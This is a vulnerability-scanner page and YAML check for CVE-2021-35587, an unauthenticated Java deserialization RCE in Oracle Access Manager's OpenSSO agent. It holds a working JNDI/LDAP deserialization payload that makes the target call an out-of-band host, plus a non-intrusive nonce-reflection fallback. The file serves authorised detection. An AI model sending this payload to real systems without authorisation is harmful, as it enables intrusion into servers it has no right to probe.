Oracle Access Manager — 1 vulnerability check

noctis ships 1 vulnerability check for Oracle Access Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Oracle Access Manager OpenSSO Agent unauthenticated deserialization RCE

CVECVE-2021-35587
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, wait_oob, set_var, script, match · highest QoD 97
Feedtests/vulnerabilities/oracle-oam/CVE-2021-35587.yaml

Detects CVE-2021-35587 (unauthenticated Java deserialization RCE in the Oracle Access Manager OpenSSO agent). Primary method sends a benign JNDI/LDAP deserialization gadget and confirms exploitation via an out-of-band callback; fallback method confirms the OpenSSO endpoint fails open without sending any serialized object.

How noctis detects it

  1. HTTP(S) request POST /oam/server/opensso/sessionservice with a crafted body
  2. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB callback received: vulnerable Oracle Access Manager OpenSSO agent deserialized the benign JNDI gadget and performed an outbound lookup …
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /oam/server/opensso/sessionservice?noctis={{marker}}
  5. HTTP(S) request GET /oam/pages/css/general.css?noctis={{marker}}
  6. Checks vuln_resp.body for NOCTIS[0-9a-f]{32}
  7. Checks control_resp.body for NOCTIS[0-9a-f]{32}
  8. Checks vuln_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 75: Oracle Access Manager OpenSSO endpoint fails open: per-run nonce reflected by /oam/server/opensso (status …) but NOT by the control path, c…

References:

Feed source — tests/vulnerabilities/oracle-oam/CVE-2021-35587.yaml
# CVE-2021-35587 — Oracle Access Manager (OpenSSO Agent) unauthenticated
# Java-deserialization RCE. The OpenSSO/OAM agent session service
# (/oam/server/opensso/...) is reachable without authentication and
# deserializes an attacker-supplied object, allowing remote code execution.
#
# Two detection methods with different QoD:
#
#   1. OOB real-exploit (QoD 97 — remote_app, intrusive)
#      Sends a BENIGN JNDI/LDAP deserialization gadget whose dataSourceName
#      points at the noctis OOB server (ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}).
#      A vulnerable target deserializes it and performs an outbound JNDI lookup,
#      which beacons to the OOB server. The gadget's ONLY effect is that lookup:
#      no command is executed, nothing is written/read/deleted on the target,
#      nothing is exfiltrated. Requires --oob; automatically skipped otherwise.
#      This is the genuine exploitation vector, proven end to end by the callback.
#
#   2. Inert exposure fallback (QoD 75 — response analysis)
#      When OOB is not configured, falls back to a non-intrusive nonce-reflection
#      differential that NEVER sends a serialized object or deserialization gadget:
#        a. Mint a per-run nonce NOCTIS<32-hex>.
#        b. GET the unauthenticated OpenSSO endpoint carrying the nonce. An
#           exposed/vulnerable OAM fails open and reflects the nonce.
#        c. GET a normal OAM path with the SAME nonce — a sound target does NOT
#           reflect it there.
#      A finding fires only when the OpenSSO path returned 200 AND reflected the
#      exact per-run nonce AND the control path did NOT. This defeats
#      constant-marker, reflect-everywhere and endpoint-404 cheating mocks, and a
#      patched OAM (403/404 on the OpenSSO path) produces no finding.
uid: 43880eb1-be32-4f6f-aac0-22757d51b1ec
name: "Oracle Access Manager OpenSSO Agent unauthenticated deserialization RCE (CVE-2021-35587)"
description: |
  Detects CVE-2021-35587 (unauthenticated Java deserialization RCE in the Oracle
  Access Manager OpenSSO agent). Primary method sends a benign JNDI/LDAP
  deserialization gadget and confirms exploitation via an out-of-band callback;
  fallback method confirms the OpenSSO endpoint fails open without sending any
  serialized object.
cves: [CVE-2021-35587]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [oracle, oam, access-manager, opensso, deserialization, rce, jndi, oob, intrusive, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-35587"
  - "https://github.com/ZZ-SOCMAP/CVE-2021-35587"

steps:
  # ── Method 1: OOB real-exploit (QoD 97) ──────────────────────────────────
  # Skipped entirely when --oob is not configured (condition: oob_enabled).

  # Deliver the benign JNDI/LDAP deserialization gadget to the unauthenticated
  # OpenSSO session service. A vulnerable target deserializes it and performs the
  # outbound JNDI lookup that beacons to the OOB server.
  - id: deser-exploit
    action: http_request
    method: POST
    path: "/oam/server/opensso/sessionservice"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-java-serialized-object"
      X-OpenSSO-Request: "deserialize"
    # Benign JNDI/LDAP deserialization gadget. Its dataSourceName points at the
    # noctis OOB server; a vulnerable OAM deserializes the object and performs a
    # JNDI lookup against that URL. The ONLY effect is the outbound lookup (the
    # OOB beacon) — no command execution, no file write/read/delete, no
    # exfiltration, no DoS. Same spirit as the Log4Shell JNDI vector. Inlined
    # here (a templated field) so {{oob_host}}/{{oob_port}}/{{oob_token}} expand.
    body: "<com.sun.rowset.JdbcRowSetImpl dataSourceName=\"ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}\" autoCommit=\"true\"/>"
    store_as: exploit_resp
    condition: "oob_enabled"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received: vulnerable Oracle Access Manager OpenSSO agent deserialized the benign JNDI gadget and performed an outbound lookup to the noctis OOB server, confirming unauthenticated deserialization RCE (CVE-2021-35587). Callback: {{oob_result.body}}"
      stop: true

  # ── Method 2: inert exposure fallback (QoD 75) ───────────────────────────
  # Runs when OOB is disabled (or the OOB callback did not arrive). Sends NO
  # serialized object — only a per-run nonce reflected by the fails-open endpoint.

  # Booleans referenced in later conditions — initialise so the conditions never
  # throw on an undefined var (which unwrap_or(false) would silently skip).
  - id: init-vuln-reflects
    action: set_var
    var_name: vuln_reflects
    var_value: false

  - id: init-control-reflects
    action: set_var
    var_name: control_reflects
    var_value: false

  # Per-run nonce: "NOCTIS" + 32 lowercase hex chars (rand_hex(16) → 32 chars).
  - id: gen-nonce
    action: script
    code: |
      "NOCTIS" + rand_hex(16)
    store_as: marker

  # Benign probe of the unauthenticated OpenSSO/OAM endpoint carrying the nonce in
  # a query parameter. No serialized object is sent — only the inert marker.
  - id: opensso-probe
    action: http_request
    method: GET
    path: "/oam/server/opensso/sessionservice?noctis={{marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: vuln_resp

  # Control request on a normal OAM path carrying the SAME nonce. A sound target
  # (vulnerable or not) must NOT reflect the nonce here — only the fails-open
  # OpenSSO path does.
  - id: control-probe
    action: http_request
    method: GET
    path: "/oam/pages/css/general.css?noctis={{marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: control_resp

  # The unauth OpenSSO endpoint returned 200 AND reflected the exact per-run nonce.
  - id: check-vuln-reflect
    action: match
    source: vuln_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "vuln_resp.status == 200 && vuln_resp.body.contains(marker)"
    on_match:
      set_vars:
        vuln_reflects: true

  # The control path reflected the nonce — a reflect-everywhere target, not the
  # OpenSSO fails-open behaviour; this disqualifies the finding.
  - id: check-control-reflect
    action: match
    source: control_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "control_resp.body.contains(marker)"
    on_match:
      set_vars:
        control_reflects: true

  # Finding: unauth OpenSSO endpoint fails open (reflects per-run nonce) while the
  # control path does not — confirms unauthenticated reachability of the
  # deserialization endpoint without exercising the deserialization path.
  - id: confirm-exposure
    action: match
    source: vuln_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "vuln_reflects == true && control_reflects == false"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Oracle Access Manager OpenSSO endpoint fails open: per-run nonce reflected by /oam/server/opensso (status {{vuln_resp.status}}) but NOT by the control path, confirming unauthenticated reachability of the CVE-2021-35587 deserialization endpoint."
      stop: true

View these feeds on GitHub